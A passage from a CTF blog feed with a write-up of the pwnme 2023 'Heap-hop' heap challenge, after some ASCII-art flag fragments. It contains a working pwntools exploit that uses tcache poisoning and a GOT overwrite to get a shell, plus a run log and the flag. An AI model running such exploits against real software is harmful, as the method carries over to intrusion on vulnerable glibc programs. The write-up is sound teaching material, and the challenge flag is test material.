║ ▀▀ ▀▀ ▀                                                         m

second part
╔════════════════════════════════════════════════════════════════╗
║ ██▄▀█ █                                                        ║mu
║  ██ ▄ ▀                                                        ║14
║ ▀██ ▀                                                          ║t0
║ █▀█▄▄█▄                                                        ║r_
║ ▄██  ▄█                                                        ║1s
║ █▄▀█▀▀▀                                                        ║_h
║ ▄▀▀ ▀▄▄                                                        ║4C
║ ▀▀ ▀ ▀▀                                                        ║k

part three:
════════════════════════════════════════════════════════════════╗
║ ▄█▀ ▀▄                                                         ║4b
║ ▀█▄▀▀▄▄                                                        ║l3
║ ▀▄█▀▀▀█                                                        ║_1
║ █▀▄███▄                                                        ║n_
║  ██  ▀                                                         ║20
║  ██  █▄                                                        ║23
║ █▄██▀▀█                                                        ║_y
║  ▀▀  ▀▀                                                         3

part four

║ ▄█▀▄▀                                                          ║4h
║ ▀▀▀▀▀ ▀                                                        ║}


&quot;&quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>[pwnme 2023 - pwn] Heap-hop</title><link>https://n4sm.github.io/posts/heaphop/</link><guid isPermaLink="true">https://n4sm.github.io/posts/heaphop/</guid><pubDate>Sun, 07 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Heap-Hop&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Solves: 31  Medium&lt;/p&gt;
&lt;p&gt;Heap exploitation is cool, and the best is when no free is used. &amp;gt;Try to pwn the challenge and get the flag remotely.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;You must spawn an instance to solve this challenge. You can connect to it with netcat: nc IP PORT&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Author: Express#8049&lt;/p&gt;
&lt;p&gt;Remote service at : nc 51.254.39.184 1336&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Heap-hop is a heap exploitation challenge I did during the &lt;a href=&quot;https://pwnme.fr/&quot;&gt;pwnme CTF&lt;/a&gt;. It involved classic tricks like tcache poisoning and GOT hiijacking. You can find the related files &lt;a href=&quot;https://github.com/ret2school/ctf/tree/master/2023/pwnme/pwn/heap&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;TL;DR&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Setup heap layout&lt;/li&gt;
&lt;li&gt;fill tcachebin for 0x400 sized chunks&lt;/li&gt;
&lt;li&gt;free large 0x400 sized chunk to get libc addresses&lt;/li&gt;
&lt;li&gt;oob read onto the chunk right before the large freed chunk =&amp;gt; libc leak&lt;/li&gt;
&lt;li&gt;request a small 0x20 sized chunk that gets free right after, it falls at the begin of the chunk in the unsortedbin, oob read like just before =&amp;gt; heap leak.&lt;/li&gt;
&lt;li&gt;tcache poisoning (we&apos;re able to deal with safe-linking given we leaked heap)&lt;/li&gt;
&lt;li&gt;With the help of tcache poisoning, overwrite &lt;code&gt;realloc@got&lt;/code&gt; to write &lt;code&gt;&amp;amp;system&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;realloc(&quot;/bin/sh&quot;)&lt;/code&gt; is then &lt;code&gt;system(&quot;/binb/sh&quot;)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What we have&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;$ checksec --file ./heap-hop
[*] &apos;/media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ret2school/ctf/2023/pwnme/pwn/heap/heap-hop&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  b&apos;/home/nasm/Documents/pwn/pwnme/heap&apos;
$ ./libc.so.6 
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
&amp;lt;https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs&amp;gt;.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What we can see is that a recent libc is provided (which means with safe-linking) and that the binary isn&apos;t PIE.&lt;/p&gt;
&lt;h2&gt;Code review&lt;/h2&gt;
&lt;p&gt;Here is basically the main logic of the binary:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int input_int; // [rsp+Ch] [rbp-4h]

  puts(&quot;[+] Welcome to hip-hop, you can create and listen to heap-hop music&quot;);
  do
  {
    printf(&quot;%s&quot;, &quot;Make your choice :\n\t- 1. Create a track.\n\t- 2. Read a track.\n\t- 3. Edit a track.\n&amp;gt; &quot;);
    input_int = read_input_int();
    if ( input_int == 3 )
    {
      handle_edit();
    }
    else
    {
      if ( input_int &amp;gt; 3 )
        goto LABEL_10;
      if ( input_int == 1 )
      {
        handle_create();
        continue;
      }
      if ( input_int == 2 )
        handle_read();
      else
LABEL_10:
        quit = 1;
    }
  }
  while ( quit != 1 );
  return puts(&quot;[?] Goodbye.&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Basic layout for a heap exploitation challenge, we&apos;re allowed to create, read and edit a given track. As we already read in the initial statement we apparently cannot free a track.&lt;/p&gt;
&lt;p&gt;Let&apos;s first take a look at the create function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 handle_create()
{
  void *v0; // rdx
  unsigned int idx; // [rsp+Ch] [rbp-14h] BYREF
  chunk_t *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  idx = 0;
  printf(&quot;Enter the tracklist ID\n&amp;gt; &quot;);
  __isoc99_scanf(&quot;%d&quot;, &amp;amp;idx);
  if ( idx &amp;gt; 0x100 )
    _exit(1);
  if ( tracks[idx] )
  {
    puts(&quot;[!] track already exists.\n&quot;);
  }
  else
  {
    buf = (chunk_t *)malloc(0x30uLL);
    if ( !buf )
      _exit(1);
    printf(&quot;Enter the tracklist name\n&amp;gt; &quot;);
    read(0, buf, 0x20uLL);
    printf(&quot;Enter the tracklist content length\n&amp;gt; &quot;);
    __isoc99_scanf(&quot;%ld&quot;, &amp;amp;buf-&amp;gt;size);
    if ( buf-&amp;gt;size &amp;gt; 0x480uLL )
      _exit(1);
    v0 = malloc(buf-&amp;gt;size);
    buf-&amp;gt;track = (__int64)v0;
    if ( !buf-&amp;gt;track )
      _exit(1);
    printf(&quot;Enter the tracklist content\n&amp;gt; &quot;);
    if ( !read(0, (void *)buf-&amp;gt;track, buf-&amp;gt;size) )
      _exit(1);
    tracks[idx] = buf;
    puts(&quot;[+] track successfully created.\n&quot;);
  }
  return v4 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It crafts a chunk, and then allocates a chunk for a given size (&amp;lt; 0x480). The read function is very basic:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 handle_read()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf(&quot;Enter the tracklist ID\n&amp;gt; &quot;);
  __isoc99_scanf(&quot;%d&quot;, &amp;amp;v1);
  if ( v1 &amp;gt; 0x100 )
    _exit(1);
  if ( tracks[v1] )
  {
    puts(&quot;[+] track content :&quot;);
    write(1, (const void *)tracks[v1]-&amp;gt;track, tracks[v1]-&amp;gt;size);
    puts(&amp;amp;byte_4020FF);
  }
  else
  {
    puts(&quot;[!] track doesn&apos;t exist.\n&quot;);
  }
  return v2 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It prints &lt;code&gt;tracks[v1]-&amp;gt;size&lt;/code&gt; bytes from &lt;code&gt;tracks[v1]-&amp;gt;track&lt;/code&gt;. Which means no need to worry about badchars for the leak.&lt;/p&gt;
&lt;p&gt;The bug lies in the &lt;code&gt;handle_edit&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 handle_edit()
{
  chunk_t *v0; // rbx
  unsigned int idx; // [rsp+Ch] [rbp-24h] BYREF
  size_t size; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  idx = 0;
  size = 0LL;
  printf(&quot;Enter the tracklist ID\n&amp;gt; &quot;);
  __isoc99_scanf(&quot;%d&quot;, &amp;amp;idx);
  if ( idx &amp;gt; 0x100 )
    _exit(1);
  if ( tracks[idx] )
  {
    printf(&quot;Enter the new tracklist content length\n&amp;gt; &quot;);
    __isoc99_scanf(&quot;%ld&quot;, &amp;amp;size);
    if ( size &amp;gt; 0x480 )
      _exit(1);
    v0 = tracks[idx];
    v0-&amp;gt;track = (__int64)realloc((void *)v0-&amp;gt;track, size);
    printf(&quot;Enter the new tracklist content\n&amp;gt; &quot;);
    read(0, (void *)tracks[idx]-&amp;gt;track, tracks[idx]-&amp;gt;size);
    puts(&quot;[+] track content edited.&quot;);
  }
  else
  {
    puts(&quot;[!] track doesn&apos;t exist.\n&quot;);
  }
  return v4 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There are two bugs, or at least interesting behaviours around realloc. First there is an out of bound (oob) read / write, indeed if we give a size smaller than &lt;code&gt;tracks[idx]-&amp;gt;size&lt;/code&gt;, then &lt;code&gt;v0-&amp;gt;track&lt;/code&gt; could be changed to a smaller chunk and thus &lt;code&gt;read(0, (void *)tracks[idx]-&amp;gt;track, tracks[idx]-&amp;gt;size);&lt;/code&gt; could write over the end of the chunk. Secondly we can free a chunk by giving zero to the size.&lt;/p&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;p&gt;Given tcache poisoning seems to be pretty easy to achieve, we need to find where we could use our arbitrary write. If you remind well, the binary isn&apos;t PIE based and has only partial RELRO, which means we could easily hiijack the GOT entry of a function (like realloc) to replace it with system and then call &lt;code&gt;realloc(&quot;/bin/sh&quot;)&lt;/code&gt;. This way we need to get a heap and a libc leak.&lt;/p&gt;
&lt;h3&gt;libc leak&lt;/h3&gt;
&lt;p&gt;To get a libc leak we can fill the tcache and free a large chunk to make appear libc addresses on the heap and then read it through the oob read. Which gives:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;create(0, b&quot;&quot;, 5, b&quot;0&quot;)

# Step one, 7 chunks to fill tcache later
for i in range(7):
    create(1+i, b&quot;&quot;, 0x400, str(i).encode())

# small chunk which will be used to the oob r/w
create(8+1, b&quot;&quot;, 0x20, b&quot;_&quot;)
# victim chunk
create(9+1, b&quot;&quot;, 0x400, b&quot;_&quot;)

# chunk with big size that will be used for the oob r/w
create(10+1, b&quot;&quot;, 0x200, b&quot;barreer&quot;)
create(10+2, b&quot;&quot;, 0x20, b&quot;barree2&quot;)

# fill tcache
for i in range(7):
    free(1+i)

# oob chunk 
free(8+1)

free(11) # we free in order that at the next edit it actually allocates a new chunk
edit(11, 0x20, b&quot;_&quot;) # allocated in 9

free(9+1) # falls in the unsortedbin

read(11) # oob read
io.recv(0x70)
libc.address = pwn.unpack(io.recv(8)) - 0x219ce0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The heap looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x1d83120       0x0000000000000000      0x0000000000000041      ........A.......        &amp;lt;= chunk used to get the oob r/w
0x1d83130       0x000000000000000a      0x0000000000000000      ................                                                                               
0x1d83140       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83150       0x0000000000000020      0x0000000000000000       ...............
0x1d83160       0x0000000000000000      0x0000000000000031      ........1.......        &amp;lt;= track buffer of the chunk used to get the oob r/w
0x1d83170       0x0000000000000a5f      0x0000000000000000      _...............                                                                               
0x1d83180       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83190       0x0000000000000000      0x0000000000000041      ........A.......        &amp;lt;= victim chunk, size: 0x400, its track field is fell into the unsortedbin
0x1d831a0       0x000000000000000a      0x0000000000000000      ................                                                                               
0x1d831b0       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d831c0       0x0000000000000400      0x0000000000000000      ................                                                                               
0x1d831d0       0x0000000000000000      0x0000000000000411      ................        &amp;lt;-- unsortedbin[all][0]                                                
0x1d831e0       0x00007f0eb218dce0      0x00007f0eb218dce0      ................                                                                               
0x1d831f0       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83200       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83210       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83220       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83230       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83240       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83250       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83260       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83270       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83280       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83290       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d832a0       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d832b0       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d832c0       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d832d0       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d832e0       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d832f0       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83300       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83310       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83320       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83330       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83340       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83350       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83360       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83370       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83380       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83390       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d833a0       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d833b0       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d833c0       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d833d0       0x0000000000000000      0x0000000000000000      ................
0x1d833e0       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d833f0       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83400       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83410       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83420       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83430       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83440       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83450       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83460       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83470       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83480       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83490       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d834a0       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d834b0       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d834c0       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d834d0       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d834e0       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d834f0       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83500       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83510       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83520       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83530       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83540       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83550       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83560       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83570       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83580       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83590       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d835a0       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d835b0       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d835c0       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d835d0       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d835e0       0x0000000000000410      0x0000000000000040      ........@.......        &amp;lt;= Freed chunk 11
0x1d835f0       0x000000000000000a      0x0000000000000000      ................                                                                               
0x1d83600       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83610       0x0000000000000200      0x0000000001d83170      ........p1......                                                                               
0x1d83620       0x0000000000000000      0x0000000000000211      ................                                                                               
0x1d83630       0x0000000000001d83      0x5b5e1382ca86a7f8      ..............^[        &amp;lt;-- tcachebins[0x210][0/1]                                             
0x1d83640       0x0000000000000000      0x0000000000000000      ................                                                                               
0x1d83650       0x0000000000000000      0x0000000000000000      ................                             
0x1d83660       0x0000000000000000      0x0000000000000000      ................                             
0x1d83670       0x0000000000000000      0x0000000000000000      ................                             
0x1d83680       0x0000000000000000      0x0000000000000000      ................                             
0x1d83690       0x0000000000000000      0x0000000000000000      ................                             
0x1d836a0       0x0000000000000000      0x0000000000000000      ................                             
0x1d836b0       0x0000000000000000      0x0000000000000000      ................                             
0x1d836c0       0x0000000000000000      0x0000000000000000      ................                             
0x1d836d0       0x0000000000000000      0x0000000000000000      ................                             
0x1d836e0       0x0000000000000000      0x0000000000000000      ................                             
0x1d836f0       0x0000000000000000      0x0000000000000000      ................                             
0x1d83700       0x0000000000000000      0x0000000000000000      ................                             
0x1d83710       0x0000000000000000      0x0000000000000000      ................                             
0x1d83720       0x0000000000000000      0x0000000000000000      ................                             
0x1d83730       0x0000000000000000      0x0000000000000000      ................                             
0x1d83740       0x0000000000000000      0x0000000000000000      ................                             
0x1d83750       0x0000000000000000      0x0000000000000000      ................                             
0x1d83760       0x0000000000000000      0x0000000000000000      ................                             
0x1d83770       0x0000000000000000      0x0000000000000000      ................                             
0x1d83780       0x0000000000000000      0x0000000000000000      ................                             
0x1d83790       0x0000000000000000      0x0000000000000000      ................                             
0x1d837a0       0x0000000000000000      0x0000000000000000      ................                             
0x1d837b0       0x0000000000000000      0x0000000000000000      ................                             
0x1d837c0       0x0000000000000000      0x0000000000000000      ................                             
0x1d837d0       0x0000000000000000      0x0000000000000000      ................                             
0x1d837e0       0x0000000000000000      0x0000000000000000      ................                             
0x1d837f0       0x0000000000000000      0x0000000000000000      ................                             
0x1d83800       0x0000000000000000      0x0000000000000000      ................                             
0x1d83810       0x0000000000000000      0x0000000000000000      ................                             
0x1d83820       0x0000000000000000      0x0000000000000000      ................                             
0x1d83830       0x0000000000000000      0x0000000000000041      ........A.......        &amp;lt;= last small chunk, barreer               
0x1d83840       0x000000000000000a      0x0000000000000000      ................                             
0x1d83850       0x0000000000000000      0x0000000000000000      ................                             
0x1d83860       0x0000000000000020      0x0000000001d83880       ........8......                             
0x1d83870       0x0000000000000000      0x0000000000000031      ........1.......                             
0x1d83880       0x00000000000a3233      0x0000000000000000      32..............                             
0x1d83890       0x0000000000000000      0x0000000000000000      ................                             
0x1d838a0       0x0000000000000000      0x000000000001e761      ........a.......        &amp;lt;-- Top chunk        
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I advice you to take a look at the heap layout if you do not understand the exploit script.&lt;/p&gt;
&lt;h3&gt;Heap leak&lt;/h3&gt;
&lt;p&gt;Now we got a libc leak we&apos;re looking for a heap leak, it is basically the same thing as above, but instead of freeing a large chunk, we free a small &lt;code&gt;0x20&lt;/code&gt; sized chunk. To understand the defeat of safe-linking I advice you to read &lt;a href=&quot;https://www.researchinnovations.com/post/bypassing-the-upcoming-safe-linking-mitigation&quot;&gt;this&lt;/a&gt;. Which gives:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# leak heap to craft pointers
edit(1, 0x10, b&quot;osef&quot;) # split unsortedbin chunk
free(1) # tcache 0x20

read(11) # oob read
io.recv(0x70)
heap = (pwn.unpack(io.recv(8)) &amp;lt;&amp;lt; 12) - 0x2000 # leak fp of 1
pwn.log.info(f&quot;heap: {hex(heap)}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;tcache poisoning&lt;/h2&gt;
&lt;p&gt;To achieve tcache poisoning we just need to get the &lt;code&gt;0x20&lt;/code&gt; sized chunk right after the out of bound chunk. Then we free it and we use the out of bound chunk to overwrite the forward pointer of the victim chunk to &lt;code&gt;&amp;amp;realloc@GOT&lt;/code&gt;. Given we leaked the heap we can easily bypass the safe-linking protection.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#== tcache poisoning

# get the 0x20 sized chunk that is right after the oob chunk
edit(10, 10, b&quot;osef&quot;)

free(0)

# tcache 0x20, count = 2, tcache poisoning is basically 10-&amp;gt;fp = target
free(10) 

# oob write to set 10-&amp;gt;fp = &amp;amp;realloc@got-8 (due to alignment issues)
edit(11, 0x20, b&quot;Y&quot; * 0x60 + pwn.p64(0) + pwn.p64(0x31) + pwn.p64(((heap + 0x21f0) &amp;gt;&amp;gt; 12) ^ (exe.got.realloc - 8))) 

edit(3, 10, pwn.p64(libc.address + one_gadget(&quot;./libc.so.6&quot;)[0])) # useless
edit(12, 10, b&quot;/bin/sh\0&quot;) # 12 =&amp;gt; b&quot;/binb/sh\0&quot;

# given we falls on &amp;amp;realloc@got-8, we overwrite got entries correctly 
edit(4, 10, pwn.p64(libc.sym.malloc) + pwn.p64(libc.sym.system) + pwn.p64(libc.sym.scanf))
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;PROFIT&lt;/h2&gt;
&lt;p&gt;Then we just have to do:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# edit =&amp;gt; realloc(&quot;/bin/sh&quot;) =&amp;gt; system(&quot;/bin/sh&quot;)
io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;3&quot;)
io.sendlineafter(b&quot;&amp;gt; &quot;, str(12).encode())
io.sendlineafter(b&quot;&amp;gt; &quot;, str(10).encode())

io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which gives:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nasm@off:~/Documents/pwn/pwnme/heap$ python3 exploit.py REMOTE HOST=51.254.39.184 PORT=1336
[*] &apos;/home/nasm/Documents/pwn/pwnme/heap/heap-hop&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  b&apos;/home/nasm/Documents/pwn/pwnme/heap&apos;
[*] &apos;/home/nasm/Documents/pwn/pwnme/heap/libc.so.6&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] &apos;/home/nasm/Documents/pwn/pwnme/heap/ld-linux-x86-64.so.2&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 51.254.39.184 on port 1336: Done
[*] libc: 0x7faf9a27f000
[*] heap: 0x191d000
[*] one_gadget: 0x7faf9a36acf8 @ 0x404050
[*] Switching to interactive mode
$ id
uid=1000(player) gid=999(ctf) groups=999(ctf)
$ ls
flag.txt
run
$ cat flag.txt
PWNME{d1d_y0u_kn0w_r341l0c_c4n_b3h4v3_l1k3_th4t}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Final exploit&lt;/h2&gt;
&lt;p&gt;Here is the final exploit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python
# -*- coding: utf-8 -*-

# this exploit was generated via
# 1) pwntools
# 2) ctfmate

import os
import time
import pwn

BINARY = &quot;heap-hop&quot;
LIBC = &quot;/home/nasm/Documents/pwn/pwnme/heap/libc.so.6&quot;
LD = &quot;/home/nasm/Documents/pwn/pwnme/heap/ld-linux-x86-64.so.2&quot;

# Set up pwntools for the correct architecture
exe = pwn.context.binary = pwn.ELF(BINARY)
libc = pwn.ELF(LIBC)
ld = pwn.ELF(LD)
pwn.context.terminal = [&quot;tmux&quot;, &quot;splitw&quot;, &quot;-h&quot;]
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False
p64 = pwn.p64
u64 = pwn.u64
p32 = pwn.p32
u32 = pwn.u32
p16 = pwn.p16
u16 = pwn.u16
p8  = pwn.p8
u8  = pwn.u8

host = pwn.args.HOST or &apos;127.0.0.1&apos;
port = int(pwn.args.PORT or 1337)


def local(argv=[], *a, **kw):
    &apos;&apos;&apos;Execute the target binary locally&apos;&apos;&apos;
    if pwn.args.GDB:
        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return pwn.process([exe.path] + argv, *a, **kw)


def remote(argv=[], *a, **kw):
    &apos;&apos;&apos;Connect to the process on the remote host&apos;&apos;&apos;
    io = pwn.connect(host, port)
    if pwn.args.GDB:
        pwn.gdb.attach(io, gdbscript=gdbscript)
    return io


def start(argv=[], *a, **kw):
    &apos;&apos;&apos;Start the exploit against the target.&apos;&apos;&apos;
    if pwn.args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)

import subprocess
def one_gadget(filename):
  return [int(i) for i in subprocess.check_output([&apos;one_gadget&apos;, &apos;--raw&apos;, filename]).decode().split(&apos; &apos;)]

gdbscript = &apos;&apos;&apos;
source ~/Downloads/pwndbg/gdbinit.py
&apos;&apos;&apos;.format(**locals())

def exp():

    io = start()

    def create(idx, name, trackLen, trackContent):
        io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;1&quot;)
        io.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
        io.sendlineafter(b&quot;&amp;gt; &quot;, name)
        io.sendlineafter(b&quot;&amp;gt; &quot;, str(trackLen).encode())
        io.sendlineafter(b&quot;&amp;gt; &quot;, str(trackLen).encode())

    def read(idx):
        io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;2&quot;)
        io.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
        io.recvuntil(b&quot;[+] track content :\n&quot;)

    def edit(idx, newLength, trackContent):
        io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;3&quot;)
        io.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
        io.sendlineafter(b&quot;&amp;gt; &quot;, str(newLength).encode())
        io.sendlineafter(b&quot;&amp;gt; &quot;, trackContent)

    def free(idx):
        io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;3&quot;)
        io.sendlineafter(b&quot;&amp;gt; &quot;, str(idx).encode())
        io.sendlineafter(b&quot;&amp;gt; &quot;, str(0).encode())
        io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;&quot;)

    create(0, b&quot;&quot;, 5, b&quot;0&quot;)
    
    # Step one, 7 chunks to fill tcache later
    for i in range(7):
        create(1+i, b&quot;&quot;, 0x400, str(i).encode())

    # small chunk which will be used to the oob r/w
    create(8+1, b&quot;&quot;, 0x20, b&quot;_&quot;)
    # victim chunk
    create(9+1, b&quot;&quot;, 0x400, b&quot;_&quot;)

    # chunk with big size that will be used for the oob r/w
    create(10+1, b&quot;&quot;, 0x200, b&quot;barreer&quot;)
    create(10+2, b&quot;&quot;, 0x20, b&quot;barree2&quot;)

    # fill tcache
    for i in range(7):
        free(1+i)

    # oob chunk 
    free(8+1)
    
    free(11)
    edit(11, 0x20, b&quot;_&quot;) # allocated in 9
    
    free(9+1) # falls in the unsortedbin

    read(11) # oob read
    io.recv(0x70)
    libc.address = pwn.unpack(io.recv(8)) - 0x219ce0
    pwn.log.info(f&quot;libc: {hex(libc.address)}&quot;) # leak libc

    # leak heap to craft pointers
    edit(1, 0x10, b&quot;osef&quot;) # split unsortedbin chunk
    free(1) # tcache 0x20

    read(11) # oob read
    io.recv(0x70)
    heap = (pwn.unpack(io.recv(8)) &amp;lt;&amp;lt; 12) - 0x2000
    pwn.log.info(f&quot;heap: {hex(heap)}&quot;)

    #== tcache poisoning
 
    # get the 0x20 sized chunk that is right after the oob chunk
    edit(10, 10, b&quot;osef&quot;)

    free(0)

    # tcache 0x20, count = 2, tcache poisoning is basically 10-&amp;gt;fp = target
    free(10) 

    # oob write to set 10-&amp;gt;fp = &amp;amp;realloc@got-8 (due to alignment issues)
    edit(11, 0x20, b&quot;Y&quot; * 0x60 + pwn.p64(0) + pwn.p64(0x31) + pwn.p64(((heap + 0x21f0) &amp;gt;&amp;gt; 12) ^ (exe.got.realloc - 8))) 

    edit(3, 10, pwn.p64(libc.address + one_gadget(&quot;./libc.so.6&quot;)[0])) # useless
    edit(12, 10, b&quot;/bin/sh\0&quot;) # 12 =&amp;gt; b&quot;/binb/sh\0&quot;

    # given we falls on &amp;amp;realloc@got-8, we overwrite got entries correctly 
    edit(4, 10, pwn.p64(libc.sym.malloc) + pwn.p64(libc.sym.system) + pwn.p64(libc.sym.scanf))


    # edit =&amp;gt; realloc(&quot;/bin/sh&quot;) =&amp;gt; system(&quot;/bin/sh&quot;)
